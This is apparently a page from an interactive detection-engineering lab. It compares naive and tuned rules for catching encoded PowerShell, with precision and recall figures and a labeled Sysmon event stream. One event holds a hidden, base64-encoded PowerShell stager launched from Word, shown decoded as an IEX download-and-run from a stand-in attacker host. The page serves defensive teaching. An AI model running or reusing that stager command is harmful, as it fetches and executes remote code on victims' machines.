Detection Engineering
Real telemetry from real incidents, two detection rules per scenario, a ground-truth labeled event stream. Watch the naive rule fire on every helpdesk PowerShell session while the tuned rule catches the macro loader. Edit either rule's match tree as JSON and see precision / recall update live.
Scenarios
Setup. An attacker drops a base64-encoded PowerShell payload via -EncodedCommand. The naive rule fires on every -enc usage; the tuned rule weights long base64 + suspicious decoded markers.
reference: Microsoft Threat Intelligence — observed across Conti, BlackCat, and most ransomware affiliates 2020-2024.
Rules side by side
DE.PS.NAIVEFires on any PowerShell command line containing -enc / -EncodedCommand. Catches the bad guys but also catches every helpdesk runbook.
11110.500.500.50DE.PS.TUNEDRequires -enc plus a long base64 payload (≥100 chars) AND a parent process that should never spawn powershell (winword, excel, outlook, browsers). Cuts FP from helpdesk runbooks while keeping coverage of the macro-borne loader.
10121.000.500.67known FP: Penetration testers using the same TTP for authorized assessments.
Florian Roth, sigma-rules/win_susp_powershell_enc_cmd.yml + Red Canary Threat Detection 2024.
Event stream (4 events, 2 malicious)
2025-03-12T09:14:22.000Z · Sysmon · id=1Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -NoP -W Hidden -enc SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAC4AZQB4AGEAbQBwAGwAZQAvAHMAdABhAGcAZQAxACcAKQA= ParentImage: C:\Windows\System32\winword.exe User: DESKTOP-Q9X\jdoe
// decoded: IEX (new-object net.webclient).downloadstring('http://attack.example/stage1')
2025-03-12T09:14:25.000Z · Sysmon · id=3Image: powershell.exe DestinationIp: 203.0.113.42 DestinationPort: 80 User: DESKTOP-Q9X\jdoe
// outbound to attacker stager
2025-03-12T09:30:01.000Z · Sysmon · id=1Image: powershell.exe CommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Program Files\Acme\update.ps1 ParentImage: C:\Program Files\Acme\AcmeUpdater.exe User: NT AUTHORITY\SYSTEM
// legitimate signed updater
2025-03-12T10:02:11.000Z · Sysmon · id=1Image: powershell.exe CommandLine: powershell.exe -enc dABlAHMAdAAxADIAMwA= ParentImage: explorer.exe User: CORP\helpdesk
// support engineer testing — decoded: 'test123'